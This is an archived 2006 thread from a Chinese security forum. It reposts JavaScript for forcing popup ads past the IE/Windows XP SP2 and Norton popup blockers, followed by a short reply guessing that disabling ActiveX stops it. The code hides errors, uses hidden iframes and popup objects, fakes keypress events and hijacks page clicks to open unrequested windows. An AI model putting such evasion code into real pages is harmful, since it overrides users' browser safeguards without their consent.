邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2006-9-6 22:21

[转载]一个比较好的弹窗代码 破sp2 24小时弹一次

原始连接:[url]http://blog.netuu.net/article.asp?id=14[/url]

[code]var paypopupURL = "[url]http://www.xxx.com[/url]";
var paypopupURL1 = "[url]http://www.xxx.com[/url]";

var usingActiveX = true;
function blockError(){return true;}
window.onerror = blockError;
//bypass norton internet security popup blocker
if (window.SymRealWinOpen){window.open = SymRealWinOpen;}
if (window.NS_ActualOpen) {window.open = NS_ActualOpen;}
if (typeof(usingClick) == 'undefined') {var usingClick = false;}
if (typeof(usingActiveX) == 'undefined') {var usingActiveX = false;}
if (typeof(popwin) == 'undefined') {var popwin = null;}
if (typeof(poped) == 'undefined') {var poped = false;}

var blk = 1;
var setupClickSuccess = false;
var googleInUse = false;
var myurl = location.href+'/';
var MAX_TRIED = 20;
var activeXTried = false;
var tried = 0;
var randkey = '0';  // random key from server
var myWindow;
var popWindow;
var setupActiveXSuccess = 0;
// bypass IE functions
function setupActiveX() {if (usingActiveX) {try{if (setupActiveXSuccess < 5) {document.write(&#39;<DIV STYLE="display:none;"><INPUT  ID="autoHit" TYPE="TEXT" ONKEYPRESS="showActiveX()"></DIV>&#39;);
popWindow=window.createPopup();
popWindow.document.body.innerHTML=&#39;<DIV ID="objectRemover"><OBJECT ID="getParentDiv" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="&#39;+myurl+&#39;/paypopup.html" TYPE="text/html"></OBJECT></DIV>&#39;;
document.write(&#39;<IFRAME NAME="popIframe" STYLE="position:absolute;top:-100px;left:0px;width:1px;height:1px;" src="/about:blank"></IFRAME>&#39;);
popIframe.document.write(&#39;<OBJECT ID="getParentFrame" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="&#39;+myurl+&#39;/paypopup.html" TYPE="text/html"></OBJECT>&#39;);
setupActiveXSuccess = 6;}}catch(e){if (setupActiveXSuccess < 5) {setupActiveXSuccess++;setTimeout(&#39;setupActiveX();&#39;,500);}else if (setupActiveXSuccess == 5) {activeXTried = true;setupClick();}}}}

function tryActiveX(){
if (!activeXTried && !poped)
{
      if (setupActiveXSuccess == 6 && googleInUse && popWindow && popWindow.document.getElementById(&#39;getParentDiv&#39;) && popWindow.document.getElementById(&#39;getParentDiv&#39;).object && popWindow.document.getElementById(&#39;getParentDiv&#39;).object.parentWindow)
      {
      myWindow=popWindow.document.getElementById(&#39;getParentDiv&#39;).object.parentWindow;
      }
      else if (setupActiveXSuccess == 6 && !googleInUse && popIframe && popIframe.getParentFrame && popIframe.getParentFrame.object && popIframe.getParentFrame.object.parentWindow)
      {
      myWindow=popIframe.getParentFrame.object.parentWindow;
      popIframe.location.replace(&#39;about:blank&#39;);
      }
      else
      {setTimeout(&#39;tryActiveX()&#39;,200);
      tried++;
      if (tried >= MAX_TRIED && !activeXTried)
      {
      activeXTried = true;
      setupClick();}return;
      }
      openActiveX();
      window.windowFired=true;self.focus();
      }
}


function openActiveX()
{
if (!activeXTried && !poped)
{
      if (myWindow && window.windowFired)
      {
      window.windowFired=false;
      document.getElementById(&#39;autoHit&#39;).fireEvent("onkeypress",(document.createEventObject().keyCode=escape(randkey).substring(1)));
      }
      else
      {
      setTimeout(&#39;openActiveX();&#39;,100);
      }
      tried++;
      if (tried >= MAX_TRIED)
      {activeXTried = true;setupClick();
      }
      }
}

function showActiveX()
{
if (!activeXTried && !poped)
{
if (googleInUse) {
window.daChildObject=popWindow.document.getElementById(&#39;objectRemover&#39;).children(0);
window.daChildObject=popWindow.document.getElementById(&#39;objectRemover&#39;).removeChild(window.daChildObject);
}
newWindow=myWindow.open(paypopupURL, "abcdefg", "width=650,height=300,top=300,left=150,toolbar=yes,menubar=yes,scrollbars=yes,resizable=yes,location=yes,status=yes");
//newWindow=myWindow.open(paypopupURL1,&#39;12345&#39;, "width=760,height=350,top=300,left=150");

if (newWindow) {newWindow.blur();self.focus();activeXTried = true;poped = true;}else {if (!googleInUse) {googleInUse=true;tried=0;tryActiveX();}else {activeXTried = true;setupClick();}}}}
// end bypass IE functions
// normal call functions

function paypopup(){if (!poped) {if(!usingClick && !usingActiveX) {
popwin = window.open(paypopupURL, "abcdefg", "width=650,height=300,top=300,left=150,toolbar=yes,menubar=yes,scrollbars=yes,resizable=yes,location=yes,status=yes");
//popwin1 = window.open(paypopupURL1,&#39;12345&#39;, "width=760,height=350,top=300,left=150");
if (popwin) {poped = true;}self.focus();}}if (!poped) {if (usingActiveX) {tryActiveX();}else {setupClick();}}}
// end normal call functions
// onclick call functions

function setupClick() {if (!poped && !setupClickSuccess){if (window.Event) document.captureEvents(Event.CLICK);prePaypopOnclick = document.onclick;document.onclick = gopop;self.focus();setupClickSuccess=true;}}

function gopop() {
if (!poped)
{popwin = window.open(paypopupURL, "abcdefg", "width=650,height=300,top=300,left=150,toolbar=yes,menubar=yes,scrollbars=yes,resizable=yes,location=yes,status=yes");

if (popwin) {poped = true;}self.focus();}
if (typeof(prePaypopOnclick) == "function") {prePaypopOnclick();}}
// end onclick call functions
// check version
function detectGoogle() {if (usingActiveX) {try {document.write(&#39;<DIV STYLE="display:none;"><OBJECT ID="detectGoogle" CLASSID="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB" STYLE="display:none;" CODEBASE="view-source:about:blank"></OBJECT></DIV>&#39;);googleInUse|=(typeof(document.getElementById(&#39;detectGoogle&#39;))==&#39;object&#39;);}catch(e){setTimeout(&#39;detectGoogle();&#39;,50);}}}

function version() {
var os = &#39;W0&#39;;
var bs = &#39;I0&#39;;
var isframe = false;
var browser = window.navigator.userAgent;
if (browser.indexOf(&#39;Win&#39;) != -1) {os = &#39;W1&#39;;}
if (browser.indexOf("SV1") != -1) {bs = &#39;I2&#39;;}
else if (browser.indexOf("Opera") != -1) {bs = "I0";}
else if (browser.indexOf("Firefox") != -1) {bs = "I0";}
else if (browser.indexOf("Microsoft") != -1 || browser.indexOf("MSIE") != -1) {bs = &#39;I1&#39;;}
if (top.location != this.location) {isframe = true;}
paypopupURL = paypopupURL;
usingClick = blk && ((browser.indexOf("SV1") != -1) || (browser.indexOf("Opera") != -1) || (browser.indexOf("Firefox") != -1));usingActiveX = blk && (browser.indexOf("SV1") != -1) && !(browser.indexOf("Opera") != -1) && ((browser.indexOf("Microsoft") != -1) || (browser.indexOf("MSIE") != -1));detectGoogle();
}

version();

// end check version
function loadingPop() {
      if(!usingClick && !usingActiveX) {
           paypopup();
      }
      else if (usingActiveX) {tryActiveX();}
      else {setupClick();}
}


//\\\\\\\\\\\\\\
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
function SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}
function DeleteCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() - 1);
// This cookie is history
var cval = 0;
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}
//设置cookies时间,自己根据情况设置。
var expDays = 1;
var exp = new Date();
exp.setTime(exp.getTime() + (expDays*6*60*60*1000));
function amt(){
var count = GetCookie(&#39;countsports&#39;); //同一ip只显示一次
//var count;//同一ip只显示N次
//alert(count);
//count = null;
if(count == null) {
SetCookie(&#39;countsports&#39;,&#39;1&#39;)
return 1
}
else{
var newcount = parseInt(count) + 1;
if(newcount<2) count=1;
SetCookie(&#39;countsports&#39;,newcount,exp);
//DeleteCookie(&#39;countsports&#39;)
return newcount
}
}
function getCookieVal(offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function btpop(){
if(amt()==1)
{
openWindowBack();
try{
      aryADSeq.push("openWindowBack()");
}catch(e){
      openWindowBack();
}
}
}
function openWindowBack() {
      myurl = myurl.substring(0, myurl.indexOf(&#39;/&#39;,8));
      if (myurl == &#39;&#39;) {myurl = &#39;.&#39;;}
      setupActiveX();
      loadingPop();
      //self.focus();
}
btpop()[/code]

金州 2006-9-7 07:50

好像需ActiveX支持。安全选项禁用应该可以防。这个东西禁用了问题不大。就是看不成在线电影之类的。
另:以上猜测。未测试。

页: [1]
© 1999-2008 EvilOctal Security Team